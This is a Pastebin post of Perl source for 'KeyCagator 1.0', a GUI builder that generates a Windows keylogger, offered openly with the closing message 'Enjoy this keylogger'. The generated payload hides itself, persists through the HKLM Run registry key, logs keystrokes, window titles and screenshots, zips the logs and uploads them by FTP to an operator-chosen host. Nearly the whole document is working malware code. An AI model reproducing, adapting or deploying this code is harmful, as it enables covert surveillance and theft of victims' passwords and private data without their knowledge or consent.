Advertisement
Doddy

Project KeyCagator 1.0 (identado)

Aug 23rd, 2012
749
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 15.74 KB | None | 0 0
  1. #!usr/bin/perl
  2. #Project KeyCagator 1.0
  3. #Coded By Doddy H
  4. #Keylogger based on http://dl.packetstormsecurity.net/trojans/win-keylogger.txt
  5. #Thanks to Mdh3ll for create and share the first keylogger in Perl
  6. #ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
  7. #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
  8.  
  9. use Tk;
  10. use Tk::Dialog;
  11.  
  12. my $color_fondo = "black";
  13. my $color_texto = "green";
  14.  
  15. if ( $^O eq 'MSWin32' ) {
  16.     use Win32::Console;
  17.     Win32::Console::Free();
  18. }
  19.  
  20. my $winkey =
  21.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  22. $winkey->title("KeyCagator 1.0 (C) Doddy Hackman 2012");
  23. $winkey->resizable( 0, 0 );
  24. $winkey->geometry("370x500+20+20");
  25.  
  26. $winkey->Label(
  27.     -text       => "-- == Logs == --",
  28.     -font       => "Impact",
  29.     -background => $color_fondo,
  30.     -foreground => $color_texto
  31. )->place( -x => 120, -y => 20 );
  32. $winkey->Label(
  33.     -text       => "Directory : ",
  34.     -font       => "Impact",
  35.     -background => $color_fondo,
  36.     -foreground => $color_texto
  37. )->place( -x => 20, -y => 60 );
  38. my $dir_sta = $winkey->Entry(
  39.     -text       => "c:/windows/PROBANDO_KEYLOGGERR",
  40.     -width      => 40,
  41.     -background => $color_fondo,
  42.     -foreground => $color_texto
  43. )->place( -x => 95, -y => 65 );
  44. $winkey->Label(
  45.     -text       => "Update logs each",
  46.     -font       => "Impact",
  47.     -background => $color_fondo,
  48.     -foreground => $color_texto
  49. )->place( -x => 20, -y => 90 );
  50. my $time_sta = $winkey->Entry(
  51.     -text       => "30",
  52.     -width      => 10,
  53.     -background => $color_fondo,
  54.     -foreground => $color_texto
  55. )->place( -x => 140, -y => 95 );
  56. $winkey->Label(
  57.     -text       => "seconds",
  58.     -font       => "Impact",
  59.     -background => $color_fondo,
  60.     -foreground => $color_texto
  61. )->place( -x => 210, -y => 90 );
  62.  
  63. $winkey->Label(
  64.     -text       => "-- == FTP == --",
  65.     -font       => "Impact",
  66.     -background => $color_fondo,
  67.     -foreground => $color_texto
  68. )->place( -x => 120, -y => 130 );
  69. $winkey->Label(
  70.     -text       => "Host : ",
  71.     -font       => "Impact",
  72.     -background => $color_fondo,
  73.     -foreground => $color_texto
  74. )->place( -x => 20, -y => 170 );
  75. my $host_sta = $winkey->Entry(
  76.     -text       => "localhost",
  77.     -width      => 25,
  78.     -background => $color_fondo,
  79.     -foreground => $color_texto
  80. )->place( -x => 64, -y => 175 );
  81. $winkey->Label(
  82.     -text       => "Username : ",
  83.     -font       => "Impact",
  84.     -background => $color_fondo,
  85.     -foreground => $color_texto
  86. )->place( -x => 20, -y => 200 );
  87. my $user_sta = $winkey->Entry(
  88.     -text       => "doddy",
  89.     -width      => 25,
  90.     -background => $color_fondo,
  91.     -foreground => $color_texto
  92. )->place( -x => 100, -y => 205 );
  93. $winkey->Label(
  94.     -text       => "Password : ",
  95.     -font       => "Impact",
  96.     -background => $color_fondo,
  97.     -foreground => $color_texto
  98. )->place( -x => 20, -y => 230 );
  99. my $pass_sta = $winkey->Entry(
  100.     -text       => "doddy",
  101.     -show       => "*",
  102.     -width      => 25,
  103.     -background => $color_fondo,
  104.     -foreground => $color_texto
  105. )->place( -x => 98, -y => 235 );
  106. $winkey->Label(
  107.     -text       => "Directory : ",
  108.     -font       => "Impact",
  109.     -background => $color_fondo,
  110.     -foreground => $color_texto
  111. )->place( -x => 20, -y => 260 );
  112. my $dirftp_sta = $winkey->Entry(
  113.     -text       => "/",
  114.     -width      => 25,
  115.     -background => $color_fondo,
  116.     -foreground => $color_texto
  117. )->place( -x => 96, -y => 265 );
  118.  
  119. $winkey->Label(
  120.     -text       => "-- == Options == --",
  121.     -font       => "Impact",
  122.     -background => $color_fondo,
  123.     -foreground => $color_texto
  124. )->place( -x => 119, -y => 300 );
  125. $winkey->Checkbutton(
  126.     -text             => "FTP Service",
  127.     -font             => "Impact",
  128.     -variable         => \$ftp_sta,
  129.     -background       => $color_fondo,
  130.     -foreground       => $color_texto,
  131.     -activebackground => $color_texto
  132. )->place( -x => 20, -y => 340 );
  133. $winkey->Checkbutton(
  134.     -text             => "Detect mouse click to capture screen",
  135.     -font             => "Impact",
  136.     -variable         => \$mouseclick_sta,
  137.     -background       => $color_fondo,
  138.     -foreground       => $color_texto,
  139.     -activebackground => $color_texto
  140. )->place( -x => 20, -y => 370 );
  141. $ima_sta = $winkey->Checkbutton(
  142.     -text             => "Screen capture each",
  143.     -font             => "Impact",
  144.     -variable         => \$foto_sta,
  145.     -background       => $color_fondo,
  146.     -foreground       => $color_texto,
  147.     -activebackground => $color_texto
  148. )->place( -x => 20, -y => 400 );
  149. $ima_sta->select();
  150. my $fotocada_sta = $winkey->Entry(
  151.     -text       => "20",
  152.     -width      => 10,
  153.     -background => $color_fondo,
  154.     -foreground => $color_texto
  155. )->place( -x => 185, -y => 405 );
  156. $winkey->Label(
  157.     -text       => "seconds",
  158.     -font       => "Impact",
  159.     -background => $color_fondo,
  160.     -foreground => $color_texto
  161. )->place( -x => 255, -y => 400 );
  162.  
  163. $winkey->Button(
  164.     -text             => "Generate !",
  165.     -width            => 30,
  166.     -font             => "Impact",
  167.     -background       => $color_fondo,
  168.     -foreground       => $color_texto,
  169.     -activebackground => $color_texto,
  170.     -command          => \&gen
  171. )->place( -x => 50, -y => 450 );
  172.  
  173. MainLoop;
  174.  
  175. sub gen {
  176.  
  177.     my $codigo_key = q(#!usr/bin/perl
  178. #KeyCagator 1.0
  179. #Coded By Doddy H
  180. #Keylogger based on http://dl.packetstormsecurity.net/trojans/win-keylogger.txt
  181. #Thanks to Mdh3ll for create and share the first keylogger in Perl
  182. #ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
  183. #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
  184. #For compile to exe : perl2exe -gui keycagator.pl
  185.  
  186. use Win32::GuiTest
  187.   qw(GetAsyncKeyState GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
  188. use Win32::API;
  189. use Win32::Clipboard;
  190. use Win32::File;
  191. use IO::Socket;
  192. use Archive::Zip;
  193. use File::Basename;
  194. use Net::FTP;
  195. use Win32::TieRegistry( Delimiter => "/" );
  196.  
  197. use threads;
  198.  
  199. my $dir_hide = "DIRECTORIO_A_ESCONDER";
  200.  
  201. my $screen_60      = "SCREEN_CADA_60";
  202. my $screen_60_time = "SCREEN_TIME_CADA_60";
  203.  
  204. my $screen_click = "SCREEN_CADA_CLICK";
  205.  
  206. my $ftp_on   = "FTP_ESTADO";
  207. my $ftp_host = "HOST_FTP";
  208. my $ftp_user = "USER_FTP";
  209. my $ftp_pass = "USER_PASSWORD";
  210. my $ftp_dir  = "FTP_DIRECTORIO";
  211.  
  212. my $logs_up = "ACTUALIZAR_LOGS";
  213.  
  214. unless ( -d $dir_hide ) {
  215.     mkdir( $dir_hide, 777 );
  216.     hideit( $dir_hide, "hide" );
  217.     chdir($dir_hide);
  218. }
  219. else {
  220.     chdir($dir_hide);
  221. }
  222.  
  223. hideit($0,"hide");
  224.  
  225. ##Infect
  226. Win32::CopyFile( $0, $dir_hide . "/" . basename($0), 0 );
  227. hideit( $dir_hide . "/" . basename($0), "hide" );
  228. $Registry->{"LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system33"}
  229.   = $dir_hide . "/" . basename($0);
  230.  
  231. #
  232.  
  233. my $comando1 = threads->new( \&capturar_teclas );
  234. my $comando2 = threads->new( \&updatelogs );
  235. if ( $screen_60 eq "1" ) {
  236.     my $comando3 = threads->new( \&capturar_pantallas );
  237. }
  238.  
  239. $comando1->join();
  240.  
  241. sub updatelogs {
  242.  
  243.     while (1) {
  244.  
  245.         sleep $logs_up;
  246.  
  247. ##
  248.  
  249.         my $logs = getmyip();
  250.  
  251.         my $zip = Archive::Zip->new();
  252.  
  253.         $zip->addFile("logs_now.html");
  254.  
  255.         opendir( HIDE, $dir_hide );
  256.         my @archivos = readdir HIDE;
  257.         for my $archivo (@archivos) {
  258.             if ( -f $dir_hide . "/" . $archivo ) {
  259.                 if ( $archivo =~ /\.bmp/ ) {
  260.                     my $final = $dir_hide . "/" . $archivo;
  261.                     $zip->addFile( $final, basename($final) );
  262.                 }
  263.             }
  264.         }
  265.         close(HIDE);
  266.  
  267.         if ( $zip->writeToFileNamed($logs) == AZ_OK ) {
  268.  
  269.             if ( $ftp_on eq "1" ) {
  270.  
  271.                 $ftp = Net::FTP->new($ftp_host);
  272.                 $ftp->login( $ftp_user, $ftp_pass );
  273.                 $ftp->mkdir($ftp_dir);
  274.                 $ftp->cwd($ftp_dir);
  275.                 $ftp->binary();
  276.                 $ftp->put($logs);
  277.                 $ftp->close();
  278.  
  279.                 unlink($logs);
  280.  
  281.             }
  282.         }
  283.  
  284. ##
  285.  
  286.     }
  287. }
  288.  
  289. sub capturar_pantalla {
  290.  
  291.     my $numero = time() . rand();
  292.  
  293.     SendKeys("%{PRTSCR}");
  294.  
  295.     my $a = Win32::Clipboard::GetBitmap();
  296.  
  297.     open( FOTO, ">" . $numero . ".bmp" );
  298.     binmode(FOTO);
  299.     print FOTO $a;
  300.     close FOTO;
  301.  
  302.     hideit( $numero . ".bmp", "hide" );
  303.  
  304.     savefile(
  305.         "<br><br><center><img src='" . $numero . ".bmp" . "'></center><br><br>",
  306.         "asinoma"
  307.     );
  308.  
  309. }
  310.  
  311. sub capturar_pantallas {
  312.  
  313.     while (1) {
  314.  
  315.         sleep $screen_60_time;
  316.  
  317.         capturar_pantalla();
  318.  
  319.     }
  320. }
  321.  
  322. sub capturar_teclas {
  323.  
  324.     Win32::API->Import( "user32", "GetKeyState", "I", "I" );
  325.  
  326.     $|++;
  327.  
  328.     while (true) {
  329.  
  330.         my %numeros_izquierda = (
  331.             48 => "0",
  332.             49 => "1",
  333.             50 => "2",
  334.             51 => "3",
  335.             52 => "4",
  336.             53 => "5",
  337.             54 => "6",
  338.             55 => "7",
  339.             56 => "8",
  340.             57 => "9"
  341.         );
  342.  
  343.         my %numeros_derecha = (
  344.             96  => "0",
  345.             97  => "1",
  346.             98  => "2",
  347.             99  => "3",
  348.             100 => "4",
  349.             101 => "5",
  350.             102 => "6",
  351.             103 => "7",
  352.             104 => "8",
  353.             105 => "9"
  354.         );
  355.  
  356.         %signos_shift = (
  357.             48  => ")",
  358.             49  => "!",
  359.             50  => "@",
  360.             51  => "#",
  361.             52  => "\$",    ##
  362.             53  => "%",
  363.             54  => "ยจ",
  364.             55  => "&",
  365.             56  => "*",
  366.             57  => "(",
  367.             187 => "+",
  368.             188 => "<",
  369.             189 => "_",
  370.             190 => ">",
  371.             191 => ":",
  372.             192 => "\"",    ##
  373.             193 => "?",
  374.             291 => "/\'",
  375.             220 => "}",
  376.             221 => "{",
  377.             222 => "^",
  378.             226 => "|"
  379.         );
  380.  
  381.         my %teclas_raras = (
  382.             1    => "[click mouse]",
  383.             8    => "<br>[backspace]<br>",
  384.             13   => "<br>[enter]<br>",       #ENTER
  385.             "16" => "Shift",
  386.             32   => "<br>[space]<br>",
  387.             46   => "<br>[suprimir]<br>",
  388.             187  => "=",
  389.             188  => ",",
  390.             189  => "-",
  391.             190  => ".",
  392.             191  => ";",
  393.             192  => "\'",
  394.             193  => "/",
  395.             219  => "\\\'",
  396.             220  => "]",
  397.             221  => "[",
  398.             222  => "~",
  399.             226  => "\/"
  400.         );
  401.  
  402.         capturar_ventanas();
  403.  
  404.         unless ( GetKeyState(20) ne 0 ) {
  405.             $mayus = 32;
  406.         }
  407.         else {
  408.             $mayus = 0;
  409.         }
  410.  
  411. ##Teclas raras
  412.         for my $teca ( sort { $a <=> $b } keys %teclas_raras ) {
  413.             if ( dame($teca) ) {
  414.                 if ( $teca == 16 ) {
  415.  
  416.                     # SHIFT
  417.  
  418.                     $on = 1;
  419.  
  420.                     while ( $on eq 1 ) {
  421.  
  422.                         for my $shisig ( sort { $c <=> $d } keys %signos_shift )
  423.                         {
  424.                             if ( dame($shisig) ) {
  425.                                 if ( defined $signos_shift{$shisig} ) {
  426.                                     savefile( $signos_shift{$shisig},
  427.                                         "asinoma" );
  428.                                 }
  429.  
  430.                             }
  431.                         }
  432.  
  433. ##Letras A-Z con shift
  434.                         for my $letra ( 65 .. 90 ) {
  435.                             if ( dame($letra) ) {
  436.                                 savefile( $letra + "0" );
  437.                             }
  438.                         }
  439.  
  440.                         #
  441.  
  442.                         unless ( !GetAsyncKeyState(16) ne 1 ) {
  443.                             $on = 0;
  444.                         }
  445.  
  446.                     }
  447.  
  448.                     #
  449.  
  450.                 }
  451.                 elsif ( $teca == "1" ) {
  452.                     if ( $screen_click eq "1" ) {
  453.                         capturar_pantalla( time() . rand() );
  454.                     }
  455.  
  456.                     #fotonow
  457.                 }
  458.                 elsif ( defined $teclas_raras{$teca} ) {
  459.                     savefile( $teclas_raras{$teca}, "asinoma" );
  460.                 }
  461.             }
  462.         }
  463. ##
  464.  
  465. ## Numeros izquierda
  466.         for my $num_iz ( sort { $a <=> $b } keys %numeros_izquierda ) {
  467.             if ( dame($num_iz) ) {
  468.                 if ( defined $numeros_izquierda{$num_iz} ) {
  469.                     savefile( $numeros_izquierda{$num_iz}, "asinoma" );
  470.                 }
  471.  
  472.             }
  473.         }
  474. ##
  475.  
  476. ## Numeros derecha
  477.         for my $num_de ( sort { $a <=> $b } keys %numeros_derecha ) {
  478.             if ( dame($num_de) ) {
  479.                 if ( defined $numeros_derecha{$num_de} ) {
  480.                     savefile( $numeros_derecha{$num_de}, "asinoma" );
  481.                 }
  482.  
  483.             }
  484.         }
  485.  
  486. ##Letras A-Z
  487.  
  488.         for my $letra ( 65 .. 90 ) {
  489.             if ( dame($letra) ) {
  490.                 savefile( $letra + $mayus );
  491.             }
  492.         }
  493.  
  494. ##
  495.  
  496.     }
  497.  
  498.     sub savefile {
  499.  
  500.         open( LOGS, ">>logs_now.html" );
  501.  
  502.         if ( $_[1] ne "asinoma" ) {
  503.             print LOGS chr( $_[0] );
  504.         }
  505.         else {
  506.             print LOGS $_[0];
  507.         }
  508.  
  509.         close(LOGS);
  510.  
  511.         hideit( "logs_now.html", "hide" );
  512.  
  513.     }
  514.  
  515.     sub dame {
  516.         if ( GetAsyncKeyState( $_[0] ) eq -32767 ) {
  517.             return 1;
  518.         }
  519.         else {
  520.             return 0;
  521.         }
  522.     }
  523.  
  524.     sub capturar_ventanas {
  525.         my $win1 = GetForegroundWindow();
  526.         if ( $win1 != $win2 ) {
  527.             $win2 = $win1;
  528.             my $nombre = GetWindowText($win1);
  529.             chomp($nombre);
  530.             if ( $nombre ne "" ) {
  531.                 savefile(
  532.                     "<br><br><center><b>[window] : "
  533.                       . $nombre
  534.                       . "</center></b><br><br>",
  535.                     "asinoma"
  536.                 );
  537.             }
  538.         }
  539.     }
  540.  
  541. }    # Funcion capturar teclas
  542.  
  543. sub hideit {
  544.     if ( $_[1] eq "show" ) {
  545.         Win32::File::SetAttributes( $_[0], NORMAL );
  546.     }
  547.     elsif ( $_[1] eq "hide" ) {
  548.         Win32::File::SetAttributes( $_[0], HIDDEN );
  549.     }
  550. }
  551.  
  552. sub getmyip {
  553.     my $get = gethostbyname("");
  554.     return ( inet_ntoa($get) . ".zip" );
  555. }
  556.  
  557. #The End ?);
  558.  
  559.     my (
  560.         $dir_hide, $time_logs, $ftp_host, $ftp_user,
  561.         $ftp_pass, $ftp_dir,   $foto_cada
  562.       )
  563.       = (
  564.         $dir_sta->get,  $time_sta->get, $host_sta->get,
  565.         $user_sta->get, $pass_sta->get, $dirftp_sta->get,
  566.         $fotocada_sta->get
  567.       );
  568.  
  569.     $codigo_key =~ s/DIRECTORIO_A_ESCONDER/$dir_hide/;
  570.     if ( $foto_sta eq 1 ) {
  571.         $codigo_key =~ s/SCREEN_CADA_60/1/;
  572.         $codigo_key =~ s/SCREEN_TIME_CADA_60/$foto_cada/;
  573.     }
  574.     else {
  575.         $codigo_key =~ s/SCREEN_CADA_60/0/;
  576.         $codigo_key =~ s/SCREEN_TIME_CADA_60/$foto_cada/;
  577.     }
  578.     if ( $mouseclick_sta eq 1 ) {
  579.         $codigo_key =~ s/SCREEN_CADA_CLICK/1/;
  580.     }
  581.     else {
  582.         $codigo_key =~ s/SCREEN_CADA_CLICK/0/;
  583.     }
  584.  
  585.     if ( $ftp_sta eq 1 ) {
  586.         $codigo_key =~ s/FTP_ESTADO/1/;
  587.         $codigo_key =~ s/HOST_FTP/$ftp_host/;
  588.         $codigo_key =~ s/USER_FTP/$ftp_user/;
  589.         $codigo_key =~ s/USER_PASSWORD/$ftp_pass/;
  590.         $codigo_key =~ s/FTP_DIRECTORIO/$ftp_dir/;
  591.     }
  592.     else {
  593.         $codigo_key =~ s/FTP_ESTADO/0/;
  594.     }
  595.  
  596.     $codigo_key =~ s/ACTUALIZAR_LOGS/$time_logs/;
  597.  
  598.     if ( -f "keycagator.pl" ) {
  599.         unlink("keycagator.pl");
  600.     }
  601.  
  602.     open( KEY, ">>keycagator.pl" );
  603.     print KEY $codigo_key;
  604.     close KEY;
  605.  
  606.     $winkey->Dialog(
  607.         -title            => "Oh Yeah",
  608.         -buttons          => ["OK"],
  609.         -text             => "Enjoy this keylogger",
  610.         -background       => $color_fondo,
  611.         -foreground       => $color_texto,
  612.         -activebackground => $color_texto
  613.     )->Show();
  614.  
  615. }
  616.  
  617. #The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement